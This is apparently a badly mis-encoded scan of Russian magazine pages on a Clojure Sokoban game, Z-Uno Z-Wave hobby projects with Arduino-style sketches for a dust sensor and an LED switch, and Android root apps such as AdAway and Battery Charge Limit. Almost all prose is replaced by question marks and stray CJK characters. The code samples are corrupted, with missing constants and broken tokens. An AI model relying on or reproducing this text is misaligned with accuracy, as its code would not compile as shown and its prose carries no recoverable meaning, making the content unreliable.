牋牋牋牋牋牋牋牋牋牋牋牋牋\d�7燶D�7燶r�8燶R�8))
牋牋牋牋牋牋牋牋牋牋牋(.readCharacter爐erm燬ystem/in))
牋牋牋牋牋牋牋牋105爑p�6爈eft
牋牋牋牋牋牋牋牋107燿own�8爎ight
牋牋牋牋牋牋牋牋32爎eset
牋牋牋牋牋牋牋牋identity))
牋牋�(when燖remaining?steps
牋牋牋�(Thread/sleep�0)))))
?????� ????� ?� ?????�??� ????�??�?� ?????�???� ????�?� ??????�?� ???�??????�
????�????,� ???�?????� ??� ???�????� [LlRrUuDd],� ??� ???� ?????� ???????�?
?�???�??�????�??�????�??�??�???.��???�??�??�(???�???�??�??????�
????�????�????�?????)�??????�??�??�???�??�?��??????�??�??爄,爅,爇,爈.
???�??�??�???�???�???�??�???�??,�????�??�???�???�?�????�???
????�?�??�???�??�??:
lein爎un
???�??
???�??�??�???�???�?�?�??�???�?,�????�?,�??�?�???�???�???,�??�??
???????� ???????.� ??� ???�???� ?� ???�?� 玸okoban� solution� c++粻 ???�???� ?????
????�?��??�?,�??�??�??�?.��??�??�??�?�???�???????�??�??????
?�???�?燙lojure�????燡NI??????????�(??,�????�?????�?��?????�?????�?
??????�???�??????�??�???�?燡ava,��??�????),�?��??�??�???�?????�
??�???�??�?�?????�(??�?�?????�??�???????).
???�??�??�???�???�??�???�???�?��??????�??� level�???��??�??
???�(????�???????�?�??�????燽oost�?�????�???�????�???),�????�??�???�
????�??,�??�???�?�??????�??�??�????��???�??�??�???�??�??�?????�
????�???�?�????�???.
???�?� ????� ???� ???�????� ???�???� ????�?� ?????�????� ?� ???�?� ???�??�?
??�??�?�??�??,�???�?�??�?�??�???�????�?�????�??�???.�??�?�????�
????�??,�??�?�???�???�??�?????�????�?��??????� (sokoban爎eset)
???��???�????�??�???�??�???.
??????????????�????
?� ???????�??� ????� ??� ??????� ???�?????� ????�?????�?� ?� ???�????�?� REPL
driven燿evelopment��?????�???�?�燙lojure.�?,��??�??�?�???�?�????�?
??�??�???�??�?????�?????�??��??�??�???.
?�??????,�??�???�??????�??????��???�??�????�????????�?��???�
???�???� ??????�?� ????,� ?� ?????�?� ????�????� ????� ?� ?????�??� ?????�???
???????� ????????� ???� ??????�??????� ???�?� ??????� ???�???� ???�?????�??
???�?,� ??????�????� ???�??�???� ?� ???�??� ?� ???�???�??� (??� ???�?????�?
???�?????�??????�??�???�???�??�?????).�??�?�?�?????�?????�?????
??????�??� (???????� ?� ???????� ?� ???�????�?� ???�?� ?????� ???�?????�?
??????)��??�????�????�??�?????�?�?�???�???�????�????�?????:
lein爊ew爏martcard爏okoban
cd爏okoban
lein爎un
?�?????�??�????:�???�?�??�?,�??��,�????�?�?�?????�??�????�???
???????,�?�??�??�?�??�??�?�??�?????�???�??��????�???�???�?????�
???????.� ??????�??,� ???� ??????� ?� ??????�???�?,� ?� ??????�??,� ???�?� ??� ????�
???,�???�?????�?�??????�?.��???�??�??�??�???�???�????�????�???,
?��??�??�??�??��???,�????�?��??�??�??��??????�?�???,�??��???
???�?????�???.�??�??�??�???�??�????�??????,�??�??�?�?????�???
??�???�?,�??�????�?燩ositive燞ack燚ays�?22�??��????�??�?�??.
??�????�????�????�??!
?????
?????
Z
??????????燴?UNO,
?????�??????
????�?????????
???�?????�???
???????�????
???????????????????
??????�???
aivs@yandex.ru
??�??�??�?� ???�?� ???????� ???????� ???� ????�?� ????,
??� ?????�?� ?� ????�??�??� ??????� ??????.� ?� ????� ??????� ??
???�????�?,� ???� ???�???� ??????�???� ?� ???�??�???� Z?Wave,
??�??????�??�????�??�????�???�?�00�??�????.�?????
??�????�????�??�???,��??????�??��???�??�?燴?Uno.
???� ???�???�???�???� �????� ???�,� ???????� ???�?� ?????� ???� ??????�?
??� �???????� ?????�,� ????�???�?� ??????�?� ????�??� ????� ?� ????�???�????
???�?????�??� ?????�??� ????� (??� ????�??� ????� ???,� ???� ?� ????�???� ?????
????� ????�???�???�???).� ???�??�????� ???� ????� ?????� ????� ???�??�??
???� ???�??�??�??,� ???�??� ???�??�??� ????�??� ????�?� ????�??�?� ??????,
???�???�?� ???�???� ????�????� ???�?????� ?????.� ???�??�??�??� ???�?
?� ?????� ???????�???�??� ?� ???�?????�??� ???�?� ?????� ??????� ?� ?????
??????.
?� ???�???� ??� ???�??�??�??� ???�???�??� (Wi?Fi,� Bluetooth,� Z?Wave,� ZigBee,
Thread� ?� ???�??)� ????� ????� ???�??�??�??� ?� ?????�????,� ?� ???????� ???�?
????????,�???�?�??�???????�?????�???????��??�?????.
? Wi?Fi��??�??????,�??????�??�????�???�?�????�???�??�??,�?�??
???�?�???�???�????.�?????�???�??�??�??�???�???�??�??�???�????�
??� ?????�????�?� ????� ?� ???�??� ??� ????�?� ?????�??�?� ???�???�?,� ?� ????
??� ???�?� ???????� ????�????�????�??� (???�?� ???????� Wi?Fi� ?� TCP/IP,
??�?????�???�????,�??�??,�????�????�???).
? Bluetooth� ?� ???????�??� ???�????,� ??� ????�???�?� ???�?????� ???�??
???�??�??�??�??�??�????��??????,�??�??�??�???�????��??�??????�
???.� ?????� ???�?� ???�?� ???� ?????�??� ????�??.� Bluetooth� LE� ??????�???�?
?�?????�??�?????�????��??�??�???燗pple燞omeKit,�?�?�?�??�??�?.
? Z?Wave� ???�?� ???????�??� ???????�??� ???�????�??� ??????�??,� ?????
??????,�?�??�???�?�????�??????��??�?�??�????�?????.
? ZigBee� ?� ??� ???� ????�???� ????�?� ??????�??� ??????�???,� ???????,
?�?????�??,�?�???�?�??�????�?�???��??�??.
? Thread� ?� ???????� ?� ???� ????�?� 6LoWPAN� ?� ???�???�?????� ???�????�?,
???????�???�??�?????�???�?�??�?��???�?????�????.
Z?Wave????�?燴?Uno
???�?�???�???�??�?????�?��???��???�?????�??�?�?????�?,�??�?????�
??� ???�?� Arduino� ?� ESP8266,� ??,� ???�?� ????�?� ???�??� ?� ???�????�???�??
????�???�????� ????,� ???�????�?� ??????� ???????,� ???�????�??� ??????.
?????� ???�???�?� ??� ???�??� ???????� ??� ?????,� ???????� ??� ??????� ??????
?�??�??????.
?�???�?????�?�?????�??��??�????�?�?????�??�?燴?Wave.�??�???�
?????�???�??�??�???�?,�???�?�?????:
? ??�??????�???�???�?,�??�????��???��??�???�??�?????
? ??�?????� ???�?????�?� ?� ????�????,� ???� ????�??????�?� ????�???� ????�
???????�????
? ????�???�????????????,�??�?�???�?????�???
? ??�?????�???�????��??�??�??��???�??.
???�?� ??????� ???�??� ???�????� Fibaro� ?� ??????� ???????�??� ????�???�?
Aeotec��??�???�?�??�???�??�?��??�????�??�?:�?????�???燴?Wave�???�
?????�?�??�?�????��????�???????�??�????�??�???.�??�???�???�??
?????�???�???�????�???�??�??????�?????�???:
? ???�?燫GBW?
? ???�?????�?�?�??????�???
? ???�???�???�??�????
? ??�??
? ???�????
? ???�????�?.
??�?�?�??�???�?�??�???�??�?????�???�??�?�??�???�???�???���????
????�?,��??�?�??�???????�???�???�???�??�??�??�??????�??燴?Wave?
??????�???��??????�??�?燴?Uno.
???�????燴-UNO
Z?Uno� ?� ???� ???�?� ???� ???�???�???�????� ??????�??� Z?Wave,� ????�??�??
??� ????� ZM5101.� ???�??� ???�???�???�?� ???�???�????� ???� ?????� ?????
??????�???�???�??��??�?�?????�????,�?�??�??�????�??????�???�????�
?????�???�??� ???�??�?� ???�??????� ?� Silicon� Labs� ???�????� ???�????�???:
???�??????,� ????�????�??� ?� SDK� ??� 6000� ???�????.� ?� ???�???,� ???????
???�??�?�??�?????�?�??�????�??????�????,�?�??�?��???????.
Z?Uno爌inout
???�?� Z?Uno� ???�???�?� ???�???????� ??????�???� Z?Wave� ??� ????� ????,� ?� ???
?????� ??� 100%� ???�????�?� ?� ?????� ???�??� ?????�??� Z?Wave.� ????� ?????
?�??,�??�??�??�????�?�?????�???�?�??�?燗rduino營DE,�??????�???�???
???�???� ????�????�???�??� ?� ??????� ???.� ?� ????� ??� ?� ATmega328� ???�??
????????�??�?????�??�??�??.
??� ????,� Z?Uno� ?� ???� ??� ??� Arduino,� ????�?� ??� ???�??� ????� ?� ?� ????�???�
?????.�????�??�?�??�?�??�??�??�?�???�??�????,�???�?????�??�?
???� ?� ??????� ???�?� ???,� ???� ???�?????�??� ???�???�??�?� UART� ?� SPI,
???????�?�3�?��.
???� ?� ?� Arduino,� ?� Z?Uno� ???�?� ????????� ????�??�?� ?????� ???�??
?� ???????�???�??� ????????.� ???�?� ?� ????� ???�?� ???�??�???� 32� ?????�?
???????�??�?,�??�??�?????�?�????�???�??�???�?�????�??�???�????�
?????.� ?????????� ?????� ??????�????� ???�?� ???� ?� ???�??�??�??� ???�??,� ???
?�?�????��???�??��??�???�?????�???燴?Wave.
???�??��???????????�?�??�???�???燴?Wave�??�????�?????�???��???�
??� ???�?????� ???�?????�?� DS18B20,� ???�??� ???�??� ???�?� ??????�?????
?�??�??�??�???�?.
?????????????燴?Wave????�???�???燫aZberry��??�?�??�?????�??�
??????�?燚S18B20
??�?� ?� ????� ???� ????� ????????� ????�???�????,� ???�????� ????� ????
???� ???????�???� Arduino,� ??� ???� ???�??�????�????� ???�?� ???�?????
?�??????�??�??�??�??�??�????�??�????�燴?Uno��????�??�??�???�?
????�???�????.� ???�??� ????�??:� ?????�??� Z?Uno� ?� ???� ????�??�?????� ????�
???�??�??�???�(????,�???�????,�??�????��??�??),�??�?�??�??�?�???�
?????�???�???�???�??,��??�???,�?????�?????�??�???�??�??�??�???.
??�?????�??�??�??�????��??�??�??�??�??�??燴?Uno
??????????? ??????
?
? �?????�?????
?????
????? Z
??????????燴?UNO,�????�??????
????�?????????�??�?????�???
??????�???????�???��??????????�???
???�?????,� ???� ?????�?????� ?????�??� ????� ?� ???????�???� ????� ??� ????�?
Sharp燝P2Y1010AU0F.
???�??�???燬harp燝P2Y1010AU0F
???�????�?????�??�???�??�??�??????�????�??�?�??�???�???,�??????
???�???�???� ???� ????�??� ???????�??� ????�??�??� ???�??� ?� ???�???.
??� ?????� ???�???� ??� ?????�???� ??� ????� ???� ???????�??� ???.� ???�???� ????
?� ???????�???� ????� ?????� ??????�??� ?� ???� ??� ?????�?????�??� ???�???�?
?????� ???�??� ???�???,� ???� ????�??� ???�???� ????.� ?????�??,� ?� ???�???,
????�??�??�??�??燬harp燝P2Y1010AU0F.
??�????�??�?????燬harp燝P2Y1010AU0F
????�?� ???�???� ????� ???�??� ???�?� ???�????�?� ?????�??�??�??�??� ????�???�
???� ??????,� ???????� ?� ????�???�???� ???�??� ???�???.� ??????� ??????�?� ????�
??????� ????�??:� ???�???�?� (LED)� ?� ???????� 280� ???� ???�??� ?????� ???�?
(Lens)�?�???�???�???�??�??�??�(Detector燼rea).�?????�?�(Detector)�???�
????�?,� ?????�?� ???�?� ???????� ??� ????.� ????� ????� ???�???�???� ?� ????� ????
???�???,�?�??�??�?????�??�????��????�???�?�?�5�(????�??�????�
???�??�?�??).
??�???� ???�???� ????�??�??�?� ???�???�?� ?????�????.� ?� ?????� ?????
??????�??� ????� ????,� ?� ??� ???????�??� ???�?� ???�?????� ??� 0,� ???�?� ???�??
?????�??�???�?�??�???�???.�????�?�??�?????�????�????�??�??�?????
?????,� ???� ???� ?� ???????� ???� ???�???� ????� ?� ???�???� ?????� ??????�?:� ???�?
?�?????�??�?????�????�???�???,�???�???�?,�?�????��???�?.
????� ???�??� ???�?� ??????�?????� ?� ???�????� ??� Arduino,� STM32� ?� ???�??
???�????�???�????,� ??� Z?Uno� ???�???�?� ???????�?????� ???�??� ???????�???
????� ?� ???�???� ????�?� ????.� ???�???�?� ????� ???� ???�??� ???�???�??� ?????�
?????� ?� ???????� ?????� ?????�???� ???�???,� ???� ???�?� ??????� ??� ?????
???????�?�燙R123A.
??�????�?燙R123A
???�??�???�???�???�?????�?????�?�???�???�??�???�???,�?�?????�??
?�??�?�??�??�??�????�???.
???�??�??�???�???
???�??�?????�?�?�??�??� Sharp燝P2Y1010AU0F,�??�??�???�??��??�?燴?
Uno.
???�?�??�??�????�??�???�???��??�????�???�???
???� ???�????�?� ?????� ?� ??????�?� 29� ?????.� ???�??� ?????�?� ????�???�?
???????�??�???�?�??�?�?�?�5.�??�????�5��??�3��?�?????
???�???,� ??� ?????�????�???�??� ?????� ????� ????�??�???,� ???� ???�?????�??
???�????� ????� ???�???�???� ???� ????�??� ???�??????� ?,� ????�???�???�?,
???�?????�??�??�????�??�????�?�2.�?�???�?��??�??�??�??�??�????�
??�??????�??�???��?????.�??�?�??�???�???�????�?????�???�??�??
??�??�???�??燴?Wave.
#define燣ED�#define燬AMPLING_TIME�0
#define燚ELTA_TIME�
#define燤AX_VALUE�2�//�(instead�5)
ZUNO_SETUP_CHANNELS(ZUNO_SENSOR_MULTILEVEL_GENERAL_PURPOSE(getter));
byte爒oMeasured��
void爏etup(){
燼nalogReadResolution(8);
爌inMode(LED,OUTPUT);
燬erial.begin();
}
void爈oop(){
燿igitalWrite(LED,LOW);
燿elayMicroseconds(SAMPLING_TIME);
爒oMeasured�燼nalogRead(A3);
燿elayMicroseconds(DELTA_TIME);
燿igitalWrite(LED,HIGH);
燬erial.println(voMeasured);
爖unoSendReport(1);
燿elay(1000);
}
byte爂etter(void)爗
爎eturn�(word(voMeasured)*word(99)/word(MAX_VALUE));
}
??�????�??� ?� ???�???� ????� ??� ???�???�???� Z?Wave� ???�?� ????�?????
?� ?????�???� ???�??� ???�????:� ????�???� ???�???,� ?????�???� ????�????
???�????�???�??�??�???????.
?????????????�??�???�???燫aZberry��??�????�???
??�???�?????� ???�??� ????�???� ???�???� ??????�???�???,� ???�?� ????�
???????�??�??�????�?�?????�???:
? ???�??�???燬harp燝P2Y1010AU0F?
? ???�?燴?Uno?
? ??�??�??�??????�?.
??�????�??�??�???��??????�???�???
??????????�?????????????�???��?????????燴-WAVE
?� ????� ???�?� ???�???�?� ???�???????� ????�???� ???�????� ?� ???????� ????.
???� ?????� ????� ????�?????�??� ???�??,� ?????,� ????�???????� ?� ???�??
??????�???.� ????�??�??�?????� ????� ???�???� ??� ?????�?� ?� ???�???�??� ????�
??????�???� ???�?????.� ???� ??????� ???????� ??� ?????�?� ???� ????�???�???
?�???�??�??�??��??�???�???�???�??�???��??�???.
??�???�???�???�??�??�????�?�???
???�?????�??�??�?????�????�??�?????�?�???�??,��??�???�??�????
???????�???� ???�????,� ???� ????� ???� ?????.� ????� ???�????� ????�??,� ????�
?????� ?� ????�?????�?� ???� ????�??�??�???� (?????�?� 2� ???),� ??� ???� ???????
???�?????� ??????�?� ????� ?????� ????�??� ???� ?� ???�????� ?????� ???�?????�?,
?� ????� ???�??� ????� ???????� ??� ?????.� ???�???� ????????� ????� ?� ???????,
???�??�????��??�??�?�????�???�?�??.
INFO
????�?�?�??�???�???�????�?�??�????:�???�
????�????�??�?�??�????�?�????�???�?�????�
?????��??�??�?????�????,�?��?????�????�
?????� ????� ???????� ???�???�????� ???�?� ????�
?????�?��???�???�??�???�?,�??�???????�??
???�????�??�?,�??�????�???�????�??�??????�
??�??�?�????�?�???�????.
????�?????�??� ????,� ?� ????�??� ??� ????�??�??�????�?,� ??� ?????�??� ???????�
???�??�??�??�??,��??�??,�????�??�???�????�?�???�?��????�??????�
????�??�??.
??�???�???�???�?????�???�???
??�?� ??� ?????????�?� ?� ??????,� ??� ???�?� ???�???,� ???� ????�?� ????�?????�???
????� ?� ???�???�?� ?� ?????�???�??.� ???� ??????� ??????�???� ???�??????
????�?�???�?????�?�?????�??�???�?,�????�???�??�???�???�?�???�???
?�???�?�??�??�?�????�??�??�????�??,�??????�?????�?�??�???.
??�??� ????�??� ???�?� ?????????� ?????� ???�??� ???�?????� ?� ???�????,
????�???� ?� ???�?????� ????� ?� ?????� ????�???,� ??� ???�????,� ???� ????� ???�??
??�????��????�????�??????�?????.
???� ????� ???�??�??�??� ????�?????�???� ????� ?????� ????�??�???�
??????� ?� ???� ???�?????� ??????.� ???�???,� ???�?� ????� ????�???�?� ????�?
?�??�???,��?�??�?�???��??�?��????�?????�??�???.
????�?????�??� ????,� ?� ????�??� ??� ????�??�??�????�?,� ???????�???� ????�
??????�?,��?�????,�????�?�???�??�??�???�?���??�?�??�??�???
???�????� ?� ???�?� ???�????�???�???� ???� ?????�???� ?� ??� ???�???�?,� ???
???????�???.
???�??�????�?�???�??�????�??�?�???�?????�???�???�??�???�???:
? ????�?????�??�???��?
? ???�?燴?Uno?
? ????�??????�?�3�?
? ???�??�???�?????�??�?燚IN????�?.
???� ???????� Z?Uno� ???�?� 3,3� ?,� ???� ???� ???????� ?????�??� ???�??�???� ????
???????燞i?Link�0���3�.
????�??????燞i?Link�?�3�
????�?????�??� ????� Clion� ??� 60� ?� ???�??�?� ??????�???� ?� ????�?????�??
???�???�?燚IN????�?.
????�?????�??�???燙lion�?��
?�??�??�?????�???�??�?燴?Uno�??�??�???�???�?????�??�???��????
???�??�??� ?????� ???� ???????�??� ??.� ???� ????� ????�????� ???�?????� ????
?????�???�?????�?�????�????�??�???�???�?燴?Uno.
#define燣ED_PIN�
byte燾urrentLEDValue;
ZUNO_SETUP_CHANNELS(ZUNO_SWITCH_BINARY(getter,爏etter));
void爏etup()爗
牋pinMode(LED_PIN,燨UTPUT);
}
void爈oop()爗�
�//燣oop爄s爀mpty,燽ecause燼ll爐he燾ontrol燾omes爋ver爐he燴?Wave
}
void爏etter(byte爒alue)爗
燾urrentLEDValue�爒alue;
燿igitalWrite�(LED_PIN,爒alue�燞IGH�燣OW);
}
byte爂etter()爗
牋return燾urrentLEDValue;
}
??�????� ??????�???� ????�??�???�???� ?� ????�??�??�?????� ???�?� ?????� ????�
??�???�???�?.
??�????燴?Wave�???�?????�??�???�?燚IN????�?
?????
??????????
???????????
??????�?????????
???燗NDROID,
???????�????燫OOT
?????�????????
???�?� ?� ???�????� ?� ?????�????� ????� root� ?????�?� ???�?.
????�????� ???�???� ?????�???�?????�?� ???�?????�?
??� ????�?????�?� ????�????�??� ??????�???�????,� ???�???
???????�????� ???�????� ???�??,� ?????�??� ???�????� ?� ????�
??????� ???� ???�??� ??????� ?????�??,� ?� ??� ??????�??� ?????�
???�??� (Samsung)� ???�??�???�?� ???�???�?� ???�???????
??????�??????� ???�?� ???�?????�??� ???�???�??.� ???
???� ?????� ?????????� ?????� ????�?????�??.� ????� ???�??� ??
????????� ???�???????� ??????�?????� ???�??�??� ???�??
????.
????????�?????????
???�?� ?????�???�?????�?� ???????� ???�?????�?� ???�???�?????,� ????�???
?� ???�???� ?????� ????�??� ??????�??� ??� ??????�???.� ???�????,� ????�????
???�???� (Francisco� Barroso)� ?????� ???�???� ?????� ???�???� ???�??� ??� MIUI
10� ???�?????� ????�????�?� ???� ?????� ????�??�??� ??� ???�?� ???�???�??
?�??�???.�??�???�??????�??�????�?�???�?????�??�???�??� Fluid燦aviga?
tion燝estures.
???�???�??� ???????� ???�??�??????:� ???�?� ??????� ???�????,� ????�???�
????�????,�??�???�???????�??�??�??,�??�????�??�????�????�??�??.
???�?爎oot�??�?�??�???�?,�?��???�??�??�??�??�????�????�????�????�
????�?.
Tilt� Scroll� ?� ???� ????� ?????�??� ?� ???????�??� ??????�????� ???�???�??.
???,� ???� ???� ????�?,� ?� ???� ?????�??� ?????� ???�????� ??????�???� ?� ???�??
???�???.�??�????�???�???�?,�??�?�?????�???�???�???�???�?????.
?� ????�????� ????� ???�??�??� ???�??�?:� ?????�????� ??????�??,� ????�????/
???�??????�??�???�????�???�???��??�?�??�??�????�??�??????�??.
????�???????�???�?,�?�???�??�???�?,�??�?�??�?��??????� Finger?
print燝estures.� ???�???�??� ???�???�?� ???�?????� ???�????� ??� ???�??�??????
?�??�???�???�??�??�???�??,��??�?,�??�??????�???爎oot,�???�???�????�
?????�???�??.
???�?� ????�?� ???�?� ????�???????� ?� ???????� ???�??� ??????�??�?� ?????�
?????.�??�??�?�???�?????燲posed燲UpDown.
??� ?� ?????�????� Overscan� ?� ???�???�??� ???� ??????� ??� ????�??�??
?????�????.�??�?????�???�?????�??�??燗ndroid,�??�???�???�???�???
????�??????�?�???�?�???.�????�??????�??�???�???�??��??�???�???
??????�??�?�??�??�??�????�?�??�????,��??�?�???�???�???��??�?????�
??????:�?????�??�??�???�??�(????�?�???�???)�??�????�?�??�????�???
?�?????�??????��?????燨verscan.
Fluid燦avigation燝estures
????????��??????
??�????,� ?????� ???????�??� ????�???� ????� ????�?????�??� ????�??�??� ?
????�???�??�?????�??????�??????�?��???�?��??�????.
AFWall+��??�???�??�??.�??�???�???�??�???�???�????�???,�????�
???�??�?????�??�??�?�??�?燼db,燿rm�爋ta爑pdate.�????�???�??,�??�?
????�???� ???�??� ?� ???????�?� ????�?� ????�?� ???�???�??,� ???�????� Opera
Mini,�??�???�???�??�??��???�?????�??�??�???�???,�??????�???????
?????�???�?�??�?????�??�???��??�?�???�???????�???�??�??.
?�??�???,�??�?�??�??�??�??�?�?????�??????�??????�?�??????�??,
?� ???�???� ???�???� ????????� ?????�?,� ???????� AdAway.� ????�??� ??????� ???�?
???�????�???�??�???�???�??�?�?????�????�??�?�/system/etc/hosts,
????�?�?????�?�??�???�???�???�???�???�????�??�???�營P?????�??.燗d?
Away�????�???��???�????�??�??�?�??�?????�??�????��???�??????
??� IP??????� 127.0.0.1.� ?????� ????�??,� ???�??????� ???�???,� ???�???�??
?????�???�???�?��?????�???�??�?,��?�??�??�???�???�??.
AdAway� ???�?� ???�??�??� ???�??�????� ?????� ??????�????�?� VPN?????�
????� ???�????�?????,� ??????� ???� AdBlock� ?� Blokada:� ??� ??� ??????�?� VPN,
???????�????�?????�??�?��????�????�??????�?????,�?�?�??�?????�
??� ?????�?� (???�????�?� ???�?� ??????�????� ???�?� AdAway� ???�?� ???�???),
??�???�???�???�??�????�??????�??�?�?????.
AdAway� ??� ???�?� ???�???�???� ???�???� ?� YouTube.� ???� ????� ????� ???�?
??????�?????�?????燲posed燳ouTube燗dAway.
??� ?� ???�?????� ???�???�??� ?� ????� ???�???� ?� RouterNet.� ???� Wi?Fi?
???????.� ??????�??� Wi?Fi� Direct,� ???�???�??� ???�???� ????� Wi?Fi,� ???????
??????�?� ????????� ??� ???�??� ????� Wi?Fi� (???� ?????� WISP� ??� ?????�?),� ????�
?????� ???�???� ???????�??� �??�??粻 ????.� ?????� ???�??�?????� ??????� ????�
????�??�??�????�???�?�???�?燱PA2.
AdAway�燫outerNet
??????????�???????
??�??,� ???�??� ?????�??,� ???� ???� ???�?� ???�????� ??????� ????�??�?� ?????�
????�???��??�?????�???��???????�???�??�????,�??�???�?�???�??
????�?.� ?????� ????�??,� ???�???�??� ??????�??????� ??????�???� ?� ???????
????�???�???,�????�????�?�?,�??�??,��?�%�(??�????�???�?�??�??
???�???),� ???�????� ?????�?� ???�???�?????� ???????� ???????� ????�???�???
??�??�????.
Battery� Charge� Limit� ???�????�?� ???????� ????�?????� ?????�?� ???�?� ????�
???????� ????�????�???� ???�????� ?� ???�??�??.� ???�????,� ????� ??????�???
????�?????�???� ??????�?????� ????�????�?� ???� ???�?� ???�??�??�??� ?� ????,
??� ???�?� ???�?????� ?????� ??� 40%.� ???�?� ????�???�??� ?????� ???�?� ???�?????
????�??????.
???� ????�?� ???�?????� ???????� ???????� ?????� ?????�?� ????�??� ?????
???�??�??????�??�??????�(???�?�??????�??�???�????�?).
Charging燙urrent燤ax�???�?�??�?????�??�??�????�?,�????�????�???
constant_charge_current_max� ?� ?????�????� /sys/class/power_supply/
battery/.� ????�????� ???�???�?� ???� ????????� ???�?????�??� ???� ?????�?
(???�?????�??,�?�??????�?????�??�????�???,�?�??�???�?????�??�???�
???�??� ??� ??????????� ???�???� ???�?????�??),� ???� ?� ????�???� ????� ????�?
????�???�???,� ?????�??� ???�???� ?????�?� ?/???� ?????�?� ????�??�??� ?????
(0,5�,�??�????).
????�?????�??�???�??�??�?????.
$爏u
$爀cho�'?????�???????'��/sys/class/power_supply/battery/consta
nt_charge_current_max
$燾at�/sys/class/power_supply/battery/constant_charge_current_max
??�?�????�??�?�??�???,�??�??�??�???��?????�?�?燗DB.
???�????� ??????�???�?� ?� ???�???�????� (10?6� ?),� ??� ????� ???�????
?� 1� ?� ??????�???�?� ???� 1� 000� 000� ???.� ????�?,� ?� ????�????� ???� ????�???
?� ???�???�????� ?� ????�???�??�?� ??????�??�?� ?� ???�???�???
?????�??????.
?�?????�??,�??�???�??�????,��?�???,�??�????�???????�?�??�?
????�??�?.
Battery燙harge燣imit�燙harging燙urrent燤ax
??????????�???????????
????�??�???� ?????�??� Android� ???�??�????�?� ??????� ???�?????�??
?� ???????�??� ???� ???????�??� ???�???�????,� ??� ???� ???� ???�?� ???� ???�?
????�???�??��?�??�???�?�??�???�??�?????�??�???�??.�??�??�??�???
?爎oot????�????�????�???�????�?????.
Link2SD� ?� ????� ??� ???�??� ???�???�??� ???� ???????�??� ????�??�?????
???�??.� ???� ???�?� ??????�?????� ?� ???�???� ????�??�?� ?????� ???�???�??
?�??�?????�??�???,�?????�???�??�??�???燼pk,燿ex,爈ib��??�??�??�??
???� ?????� ????�???.� ????� ???�???� ???????�??� ???????�??� ???�???�??
?� ???�???,� ??????�????� ???�???�??� ?� ???�?????� ???�??� ???� ??� ???�?
??????�(?�??�??�?�??,�??????�??�???�?�??�?????).
??� ???�??,� ???� ????????�???� ???�????�?.� ????�??�???� ????�??� Android
?????�???� ???�???� ????????�???� ???�?� ?� ???�??�??.� ??� ???� ??� ???�??,� ???
???�???�?��??�???�???,�???�???�?????�??????�?????????�??�??�???�
????�??.
Greenify�??�????�????�?�???�???�??�?�?????�?????�???�?�???�????�
????� ???� ???�????�??� ????�?� ?????� �??�???�???�????粻 ??????�??� ????�
????�??,� ???????� ?????� ??????� ????�???� ??� ???�?????� ??????�?.� ???�?
???�???� ?????�?� Greenify� ????�????� ???�??� ???�??????� ???� ????�????,
??�??�?�??�?�????�???�????�????燱akelock燚etector.
???�???????� ?????????� ???�?????�??� ???�???�??� ?????�???� ???� ?� An?
droid� 6.� ?� ?� ???� ???� ?� ???� ??????� ??� ??????�???.� ????????� ????�??� ?????
?????�?????,� ???????� ???� ?� ??� ????� ?????�???.� ??????�??,� ??� ???� ????�
???????� ???�?� ???�?????� (???�????,� ???�??� ?� ????,� ??????� ???� ????�????
??????�???,�??????�??�???�???�????).�?????�??,�??�???��??�?????�?
?????� ????�???� (???�????,� ???�??� ?� �?????�?粻 ?????� ???�?????� ??????�
????�??????�??�?????,�?????�??�??�???�??,�???????�??�??��??�???
??????�?� ?� ???�?� ???�??� ???????�??).� ???????�?,� ???�???� ???�??????
??�??�???�?�?�??�???�??,�??�?????�??燗ndroid�1.1��???.
AppOpsX� ????�?� ???� ????�???,� ???�????� ???�?� ?????????� ??????� ????�
??????�??� ?????� ???�???�??.� ??� ????� ????� ????�???:� ???� ???� ???????�??
???�???�??� ??� ??????�?� ??????�?� ???�??�????� ?� ???�???� ???�??????� ?� ??
?????�?�??�???�??�?????,�??,�??�????,�??�??�??�????�????�???????
???�??.�??�??�???�??�??.
???�????�??????�??�?????�?�??�??�?�??�??�?????�??�???�????�
??� Xposed???????� XPrivacyLua� (???� Android� 6+)� ?� XPrivacy� (???� Android
5.1.1��???).�???�?�??�?????�???�?��???�???,�???�??�????�?�???�
????�???�??�??�?�??�?.
?�???�??�?�??�???�??�?�???�??�???�????�??燗ndroid�?�??�???�?
???�??�????� ???�????�??� ????�???� ???�???�??.� ??� ???� ??� ???�??,� ???
??????�??��????�??�????�????�??�???�??.
GLTools��??�??�??�????�??�???�??燨penGL��??�????????�??�????�
??.�????�??�?????�??????�?,�?�?????�??�???�??�?�??�??��????�?
??� ???�??� ??????�????� ???� ????�???� ???�???� ??� ?????� ???�??.� ???�?????�
????�?�???�????�?�????�??�???�??��???.�???�??�???????�???�????
????�???�??,�???�?????�???�??燜PS��??�??�????�??�??�???.
???�??�??�????��??�???�???�燣ink2SD��??????�??�??�?????�??
?燗ppOpsX
??????��????
??�????�???爎oot�???�???�?�??�???�??�??�??�????�??�???�??��???�
?????� ???�????� ?� ??????�???,� ?� ???� ???�?� ???�???????� ???�??�??�?????
???�??�??�??�?��???�?????�???�???�?�???�?.
Undeleter� ???�??�??�???�?� ???�??�??� ???�?� ?� ???�??� ???�???�??� (????�
???� ???????,� ???,� WhatsApp,� Viber),� ????�???� ???�??�?� ?????�??� ???�?
??????,�??�??�??�?????�??�??�??�????�??�??�??�??�??.
DriveDroid� ????�???�?� ????�???� ?� ???�????�??� ????�?.� ??????�???� ????�
???�???�?��??�???�??�??????�?�????:�???�??�D?ROM�(?�?????�??,
??????�?� ??� ??� ????� ??????�????),� ??????�???�?????� USB?????�?,� ???????�
????�???�???燯SB?????�?.��????�??�??�???�??�?�??�?�????�??�?????
ISO?�??營MG??????,�??�????�??��?????�???�??�?.
DriveDroid�燯ndeleter
?????��?????
???�??� root????�???�??� ?� ????� ???�???� ?� CF.lumen.� ???� ???� ??????�???
????�?�?????�??�?,�??�?????�??�????�??�?????�?�???�?�?�??????,
?�?????�???�???�?�??�????�?�??�??????,��???�??�?��??�???�?�????�
????�?�?????�?�???�??�??��??�??�??�?.
?�???�??�?�????�???�?��?????�??�??�??�?�???�??�?????�燙F.lu?
men� ????� ???�??�??� ???�??�?,� ?� ???� ???�?� ???�???????� ???�??� ???�???�?
???�?� ????�??� ?� ????�???�??�??� ????�???�?� ???�???� ???�??�?� ?� ??????
?�?????�??�?�?�??�?????�????.
???� ????� ???� ???� ???�?� ???�???� ????�????� ?� ????�?� ???�???�??� ?
Fontster.� ???� ??????� ?� ????�???� ?????� ?� ????� ????.� ???�???�??� ?????�??
?�???�??�???�?�????�?????�??????�?�????�0�??�?????�???�??.
